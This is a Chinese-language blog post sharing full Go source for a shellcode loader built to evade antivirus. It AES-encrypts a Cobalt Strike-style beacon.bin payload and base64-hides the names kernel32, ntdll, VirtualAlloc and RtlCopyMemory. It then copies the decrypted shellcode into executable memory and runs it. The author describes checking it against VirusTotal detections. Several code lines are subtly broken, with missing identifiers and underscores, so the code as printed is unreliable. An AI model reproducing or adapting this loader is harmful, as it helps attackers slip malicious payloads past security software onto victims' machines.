介绍
Go加载shellcode的学习之路……
没有离线的VT平台属实惨,刚学习的免杀,第一次传上去的时候只有4个要杀,然后隔了一天,已经9个要杀了……
既然都这样了,还是就分享到这里吧……
加载器
首先是文件目录结构:
D:.
│ main.go
├─code
│ code.go
├─cry
│ aes.go
│ b64.go
├─file
│ beacon.bin
└─load
destr.go
load.go
代码
main.go
主入口,这里将beacon.bin文件内容读取并进行了AES加密处理然后传递给Load进行调用。
package main
import (
"GoLoder/code"
"GoLoder/cry"
"GoLoder/load"
)
// code.WriteFile is AES encode.
func main() {
file := code.ReadFile("file\\beacon.bin")
bcode_a := code.WriteFile([]byte(file), "file\\encode.txt")
// 下面这几个编码,加密的操作我现在回头看也觉得傻逼了,算了就这样。
// 正常操作应该是 Base64编码 --> AES加密 --> 将加密后的shellcode传入Load --> 在Load中Base64解码 --> 调入内存加载。
bcode_b := cry.B64Enc(string(bcode_a))
bcode_c := cry.B64Dec(bcode_b)
bcode_d, := cry.AesDeCrypt(bcodec, cry.PwdKey)
load.Load([]byte(bcode_d))
}
code.go
主要是对shellcode进行前后期的处理。
package code
import (
"GoLoder/cry"
"io/ioutil"
)
func ReadFile(str string) []byte {
// 读取beacon.bin的文件信息并返回,准备进行加密以及编码操作。
content, _ := ioutil.ReadFile(str)
return content
}
func WriteFile(aecode []byte, cfile string) []byte {
// 需要获得beacon.bin加密后的内容,通过aecode传入。
// 需要提供一个临时存放 beacon.bin 加密后的文件名称,通过cfile传入。
enc, _ := cry.AesEcrypt(aecode, cry.PwdKey)
ioutil.WriteFile(cfile, []byte(enc), 0666)
ecode, _ := ioutil.ReadFile(cfile)
return ecode
}
aes.go
加密以及编码的文件,aes.go和b64.go 两个文件可以合并的,为了偷懒这里我就合并到一起了。
package cry
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"errors"
"encoding/base64"
)
// 加密密钥 可以是16,24,32位,百度的我未测试。
var PwdKey = []byte("h76BhslOpwnJusjiPjsiUhqk")
func PKCS7Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
func PKCS7UnPadding(origData []byte) ([]byte, error) {
length := len(origData)
if length == 0 {
return nil, errors.New("err")
} else {
unpadding := int(origData[length-1])
return origData[:(length - unpadding)], nil
}
}
// 加密
func AesEcrypt(origData []byte, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
origData = PKCS7Padding(origData, blockSize)
blocMode := cipher.NewCBCEncrypter(block, key[:blockSize])
crypted := make([]byte, len(origData))
blocMode.CryptBlocks(crypted, origData)
return crypted, nil
}
// 解密
func AesDeCrypt(cypted []byte, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])
origData := make([]byte, len(cypted))
blockMode.CryptBlocks(origData, cypted)
origData, err = PKCS7UnPadding(origData)
if err != nil {
return nil, err
}
return origData, err
}
// Base64编码
func B64Enc(Str string) string {
Enc := base64.StdEncoding.EncodeToString([]byte(Str))
return Enc
}
// Base64解码
func B64Dec(Str string) []byte {
Dec, _ := base64.StdEncoding.DecodeString(Str)
return Dec
}
file目录是存放beacon.bin文件的,属于无阶段式的shellcode,有阶段的,不支持这样,可以自行更改。
load.go
load.go是这主要的加载shellcode的方法。
package load
import (
"GoLoder/cry"
"syscall"
"io/ioutil"
"os"
"unsafe"
)
// 考虑到AV平台可能对调用的dll也进行了检测,所以进行了简单的Base64编码,当然AES加密方式也试过,免杀效果也挺一般,
var (
k32 = syscall.MustLoadDLL(string(cry.B64Dec("a2VybmVsMzIuZGxs"))) // kernel32.dll
nd = syscall.MustLoadDLL(string(cry.B64Dec("bnRkbGwuZGxs"))) // ntdll.dll
va = k32.MustFindProc(string(cry.B64Dec("VmlydHVhbEFsbG9j"))) // VirtualAlloc
rm = nd.MustFindProc(string(cry.B64Dec("UnRsQ29weU1lbW9yeQ=="))) // RtlCopyMemory
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
func checkErr(err error) {
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}
// 将解密后的shellcode传入到Load方法中,并调入内存加载。
func Load(scode []byte) {
if len(os.Args) > 1 {
shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
checkErr(err)
scode = shellcodeFileData
}
addr, , err := va.Call(0, uintptr(len(scode)), MEMCOMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
, , err = rm.Call(addr, (uintptr)(unsafe.Pointer(&scode[0])), uintptr(len(scode)))
checkErr(err)
syscall.Syscall(addr, 0, 0, 0, 0)
}
总结
初学,然后就白给人家送样本,太惨了,第一次传上去时候的样子。
然后第二次几乎是同样的文件传上去后的样子。
惨,反正目前思路也就这样了。